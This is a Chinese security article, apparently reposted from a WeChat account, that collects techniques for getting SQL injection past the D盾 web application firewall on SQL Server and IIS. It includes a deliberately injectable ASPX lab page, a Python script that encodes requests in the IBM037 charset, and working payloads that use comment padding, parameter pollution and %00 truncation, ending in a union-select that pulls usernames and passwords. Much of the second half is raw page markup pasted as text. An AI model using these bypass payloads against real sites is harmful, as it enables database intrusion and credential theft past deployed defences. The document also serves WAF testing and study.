网安 - 专业的网络安全产业、社区、知识平台

实战 | BypassD盾之SQL注入绕过总结

VSole2021-12-19 08:17:45


原文来源 ：HACK学习呀

SQLServer特性

空格可以由其它字符替代

select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
  • 位置①
  • 可以利用其它控制字符替换空格：%01~%0F、%11~%1F
  • 可以利用注释符号：/**/、—+a%0d%0a
  • 可利用数学运算符以及数据类型：news_id=1.0，news_id=1e0，news_id=1-1
  • 位置②
  • 可以利用其它控制字符替换空格：%01~%0F、%11~%1F
  • 可以利用注释符号：/**/、—+a%0d%0a
  • 可以利用加号+替换空格：union+select
  • 位置③
  • 可以利用其它控制字符替换空格：%01~%0F、%11~%1F
  • 可以利用注释符号：/**/、—+a%0d%0a
  • 可利用数学运算符：+、-、~、. （注：其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用）
  • 可以利用小括号()替换空格：select(1),2,db_name()
  • 位置④
  • 可以利用其它控制字符替换空格：%01~%0F、%11~%1F
  • 可以利用注释符号：/**/、—+a%0d%0a
  • 可利用其他字符：%80~%FF（需要IIS服务器支持）
  • 位置⑤
  • 可以利用其它控制字符替换空格：%01~%0F、%11~%1F
  • 可以利用注释符号：/**/、—+a%0d%0a
  • 可利用其他字符：%80~%FF（需要IIS服务器支持）
  • 可以利用点号.替换空格：from.users
  • 可以利用中括号[]替换空格：from[users]

实验环境

数据库：SQL Server 2008R2

Web服务器：IIS7.5 CN

WAF：D盾_v2.1.6.1[测试版]

靶场源码如下：index.aspx

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient"  %>
"server">
    private DataSet resSet=new DataSet();
    protected void Page_Load(object sender, EventArgs e)
    {
        String strconn = "server=.;database=test;uid=sa;pwd=admin";
        string id = Request.Params["id"];
        string sql = string.Format("select * from newss where id={0}", id);
        SqlConnection connection=new SqlConnection(strconn);
        connection.Open();
        SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
        dataAdapter.Fill(resSet);
        DgData.DataSource = resSet.Tables[0];
        DgData.DataBind();
        Response.Write("执行语句:
"+sql);
        Response.Write("
结果为:");
    }
"http://www.w3.org/1999/xhtml">
"server">
"Content-Type" content="text/html; charset=utf-8"/>
    SQLServer注入测试
    "form1" runat="server">
    
    
        "DgData" runat="server" BackColor="White" BorderColor="#3366CC" 
            BorderStyle="None" BorderWidth="1px" CellPadding="4" 
                HeaderStyle-CssClass="head" Width="203px">
            "#99CCCC" ForeColor="#003399" />
            "#009999" Font-Bold="True" ForeColor="#CCFF99" />
            "#99CCCC" ForeColor="#003399" HorizontalAlign="Left" 
                Mode="NumericPages" />
            "White" ForeColor="#003399" />
"head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF">
        
    
    
    

另类字符集编码绕过

绕过原理

HTTP协议兼容性：HTTP Charset的多样性

Content-Type头中使用charset定义字符集的应用场景不只有在responses中，request中同样可以使用。

常见的服务器与可见编码如下所示：

服务器信息可用编码说明Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273对参数名和参数值进行编码，服务器会对参数名和参数值均进行url解码，需要对等号和& and进行编码(不进行url编码)Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025参数名按原始格式(可以像往常一样使用url编码)Body不论是否经过url编码均可等号和&符号不应该以任何方式编码Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码

实验步骤

我们使用如下脚本来进行编码转换：

import urllib
import sys
params = sys.argv[1]
charset= sys.argv[2]
def paramEncode(params="id=1", charset="IBM037", encodeEqualSign=False, encodeAmpersand=False, urldecodeInput=True, urlencodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if encodeEqualSign:
       equalSign = equalSign.encode(charset)
    if encodeAmpersand:
       ampersand = ampersand.encode(charset)
    params_list = params.split("&")
    for param_pair in params_list:
       param, value = param_pair.split("=")
       if urldecodeInput:
          param = urllib.unquote(param).decode('utf8')
          value = urllib.unquote(value).decode('utf8')
       param = param.encode(charset)
       value = value.encode(charset)
       if urlencodeOutput:
          param = urllib.quote_plus(param)
          value = urllib.quote_plus(value)
       if result:
          result += ampersand
       result += param + equalSign + value
    return result
print(paramEncode(params,charset))

这里我们使用IBM037编码进行测试。

中文版的BurpSuite需要改变一下BurpSuite的字体类型

image-20211025173724964

然后使用BurpSuite抓包，并发送到Repeater

image-20211025173902801

修改请求方法为POST

image-20211025174140120

在Content-Type头中添加charset字段，值为ibm037

Content-Type: application/x-www-form-urlencoded;charset=ibm037

image-20211025174228156

使用脚本进行编码

python2 encode.py "id=1" IBM037
# 返回 %89%84=%F1

将请求内容改为%89%84=%F1，并发送

image-20211025174653394

可以看到正常返回查询数据

接下来就是进行SQL注入了

image-20211025174846914

成功绕过D盾WAF

D盾清洗数据缺陷+多个规则特性组合绕过

绕过原理

规则缺陷/特性：利用D盾清洗数据的特性

WAF内置多种解码器，经过多次解码以后可能导致绕过。

当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0c、注释等，WAF需要对其进行清洗（为提升性能和降低规则复杂性），筛选出真实的攻击数据进行检测，但是，如果清洗方式不正确，会导致真正的攻击部分被清洗，然后拿去检测的是不含有攻击向量的数据，从而被Bypass。

规则缺陷/特性：数据库空格可使用其它字符替代

替代字符可查看SQLServer特性。

规则缺陷/特性：%00时会被认为读取已结束

在url中%00表示ascll码中的0 ，而ascii中0作为特殊字符保留。

规则缺陷/特性：HTTP参数污染

同时提交参数id，会接收所有参数，通过逗号分隔。

实验步骤

抓包，并更改请求方法

image-20211028161329759

测试D盾清洗数据的特性：

D盾为了防御XSS攻击会对提交的特殊字符进行HTML实体编码，例如提交的数据为</code></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.50390625" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpx03St3Gib4tD2bnZ3LCJQibib7K1TU4zEQF18gnuO7u9StL7LatjP3zicMA/640?wx_fmt=png" data-type="png" data-w="1280" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028162308251</figcaption></figure><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;">那么假如我们将提交一个已经实体化编码的数据呢？</p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.8253358925143954" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxVCVfiahWlxoCHeYWzCKg3IeCiavmwQ6nL8GY3WdyyJghTKIhWxXGyZPw/640?wx_fmt=png" data-type="png" data-w="1042" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028163222933</figcaption></figure><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;">这里并没有将<code style="padding: 3px 5px;outline: 0px;max-width: 100%;white-space: pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background-color: rgba(27, 31, 35, 0.05);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;box-sizing: border-box !important;word-wrap: break-word !important;">></code>进行解码，而是将<code style="padding: 3px 5px;outline: 0px;max-width: 100%;white-space: pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background-color: rgba(27, 31, 35, 0.05);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;box-sizing: border-box !important;word-wrap: break-word !important;">&</code>符进行编码</p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.49517684887459806" data-s="300,640" data-type="png" data-w="1244" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxmUZnXBUW4dZxZnGqvydOhLKWFWwOfT1cYmUrHEyPvWhib1HqTvdvicqw/640?wx_fmt=png" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028164318800</figcaption></figure><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;">我们可以利用这个特性，使用这串字符去绕过某些多个关键字匹配的规则，如：union…select、order…by、/*…*/、'…' 等</p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.3109375" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxvrS2esx28GOBTnh9ibRAIpOicVMK2LibOic3yiaib2kicx6afXnthcyTpuNNw/640?wx_fmt=png" data-type="png" data-w="1280" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028171853112</figcaption></figure><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.75;color: rgb(15, 76, 129);box-sizing: border-box !important;word-wrap: break-word !important;">绕过 and 1=1</strong></p><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;">注：1.e可以代替空格</p><pre style="margin: 10px 8px;padding: 1em;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;overflow-x: auto;background-color: rgb(248, 248, 248);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;border-top-left-radius: 8px;border-top-right-radius: 8px;border-bottom-right-radius: 8px;border-bottom-left-radius: 8px;box-sizing: border-box !important;word-wrap: break-word !important;"><code style="outline: 0px;max-width: 100%;line-height: 1.75;font-family: Menlo, "Operator Mono", Consolas, Monaco, monospace;white-space: nowrap;box-sizing: border-box !important;word-wrap: break-word !important;">id=1.eand/*%26%67%74%3b*/1=1</code></pre><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.3141945773524721" data-s="300,640" data-type="png" data-w="1254" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxJIpFLfObvKfhz20ibRJlu6yf6KgPcN7wv3wb2ZHj4LeJFojVm6EDVbQ/640?wx_fmt=png" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028173512915<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"></figcaption></figure><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.75;color: rgb(15, 76, 129);box-sizing: border-box !important;word-wrap: break-word !important;">绕过 order by</strong></p><pre style="margin: 10px 8px;padding: 1em;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;overflow-x: auto;background-color: rgb(248, 248, 248);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;border-top-left-radius: 8px;border-top-right-radius: 8px;border-bottom-right-radius: 8px;border-bottom-left-radius: 8px;box-sizing: border-box !important;word-wrap: break-word !important;"><code style="outline: 0px;max-width: 100%;line-height: 1.75;font-family: Menlo, "Operator Mono", Consolas, Monaco, monospace;white-space: nowrap;box-sizing: border-box !important;word-wrap: break-word !important;">id=1 order/*%26%67%74%3b*/by 2</code></pre><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.28329297820823246" data-s="300,640" data-type="png" data-w="1239" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxDzhIkzwnLqgFSGvd7wJgiaImG3NGs7unfs2LTsRe4dS3b6GOS6UVMGw/640?wx_fmt=png" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028174034111</figcaption></figure><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.75;color: rgb(15, 76, 129);box-sizing: border-box !important;word-wrap: break-word !important;">绕过 union select</strong></p><pre style="margin: 10px 8px;padding: 1em;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;overflow-x: auto;background-color: rgb(248, 248, 248);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;border-top-left-radius: 8px;border-top-right-radius: 8px;border-bottom-right-radius: 8px;border-bottom-left-radius: 8px;box-sizing: border-box !important;word-wrap: break-word !important;"><code style="outline: 0px;max-width: 100%;line-height: 1.75;font-family: Menlo, "Operator Mono", Consolas, Monaco, monospace;white-space: nowrap;box-sizing: border-box !important;word-wrap: break-word !important;">id=-1.eunion--%26%67%74%3b%0aselect NULL,NULL,NULL</code></pre><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.2703125" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxy5J0TGL8iabLzamKaB6iabb4d98oGpneJYxmtM0nXddCyqXugOvebfSw/640?wx_fmt=png" data-type="png" data-w="1280" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.75;color: rgb(15, 76, 129);box-sizing: border-box !important;word-wrap: break-word !important;">绕过 from</strong></p><p style="margin: 1.5em 8px;outline: 0px;max-width: 100%;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.1em;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;">from的绕过这就是一个技术活了，这里是利用到了HPP以及%00截断来进行绕过</p><pre style="margin: 10px 8px;padding: 1em;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;overflow-x: auto;background-color: rgb(248, 248, 248);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;border-top-left-radius: 8px;border-top-right-radius: 8px;border-bottom-right-radius: 8px;border-bottom-left-radius: 8px;box-sizing: border-box !important;word-wrap: break-word !important;"><code style="outline: 0px;max-width: 100%;line-height: 1.75;font-family: Menlo, "Operator Mono", Consolas, Monaco, monospace;white-space: nowrap;box-sizing: border-box !important;word-wrap: break-word !important;">id=-1.eunion--%26%67%74%3b%0aselect NULL,username,password/*%26%67%74%3b&id=%00%0d*/from users </code></pre><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;letter-spacing: 0.5440000295639038px;white-space: normal;text-align: center;box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.25" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/Uq8Qfeuvouicjn0iaON3PZxsUnua11RUpxewvwIpAlaEVJSyyRU9pdEGHcmphHKNOhbtBUic8eIfQoIzx9eEE271A/640?wx_fmt=png" data-type="png" data-w="1280" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;width: 677px !important;visibility: visible !important;"></p><figure style="margin: 1.5em 8px;outline: 0px;max-width: 100%;letter-spacing: 0.5440000295639038px;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;color: rgb(63, 63, 63);box-sizing: border-box !important;word-wrap: break-word !important;"><figcaption style="outline: 0px;max-width: 100%;text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;box-sizing: border-box !important;word-wrap: break-word !important;">image-20211028174713969</figcaption></figure><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: right;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;">侵权请私聊公众号删文</strong></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/3xxicXNlTXLic5ia2MNtwAvOtCjOnlHEWTBtrs8XuHfZpeIoBhZcC7Lp9V9LgANlV97AgLTSsdZXqkEjz2WXticVfQ/640?wx_fmt=jpeg" data-cropx1="0" data-cropx2="620" data-cropy1="0" data-cropy2="23.333333333333336" data-fileid="503042608" data-ratio="0.037096774193548385" src="https://mmbiz.qpic.cn/mmbiz_jpg/3xxicXNlTXLicjiasf4mjVyxw4RbQt9odm9nxs9434icI9TG8AXHjS3Btc6nTWgSPGkvvXMb7jzFUTbWP7TKu6EJ6g/640?wx_fmt=jpeg" data-type="jpeg" data-w="620" sizes="(max-width: 620px) 100vw, 620px" style="outline: 0px;box-sizing: border-box !important;word-wrap: break-word !important;visibility: visible !important;width: 558px !important;" title="微信公众号文章素材之分割线大全" width="558"></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;word-wrap: break-word !important;"><img class="rich_pages wxw-img" data-fileid="503042609" data-ratio="0.4" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXLib0FWIDRa9Kwh52ibXkf9AAkntMYBpLvaibEiaVibzNO1jiaVV7eSibPuMU3mZfCK8fWz6LicAAzHOM8bZUw/640?wx_fmt=jpeg" data-type="jpeg" data-w="1280" style="outline: 0px;letter-spacing: 0.544px;box-sizing: border-box !important;word-wrap: break-word !important;visibility: visible !important;width: 677px !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: right;box-sizing: border-box !important;word-wrap: break-word !important;overflow-wrap: break-word !important;"><img class="__bg_gif rich_pages wxw-img" data-fileid="503042610" data-ratio="0.15" src="https://mmbiz.qpic.cn/mmbiz_gif/NZycfjXibQzlug4f7dWSUNbmSAia9VeEY0umcbm5fPmqdHj2d12xlsic4wefHeHYJsxjlaMSJKHAJxHnr1S24t5DQ/640?wx_fmt=gif" data-type="gif" data-w="480" data-width="100%" style="outline: 0px;vertical-align: top;font-size: 13px;letter-spacing: 0.544px;font-family: -apple-system-font, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;box-sizing: border-box !important;word-wrap: break-word !important;visibility: visible !important;width: 276px !important;"></p>


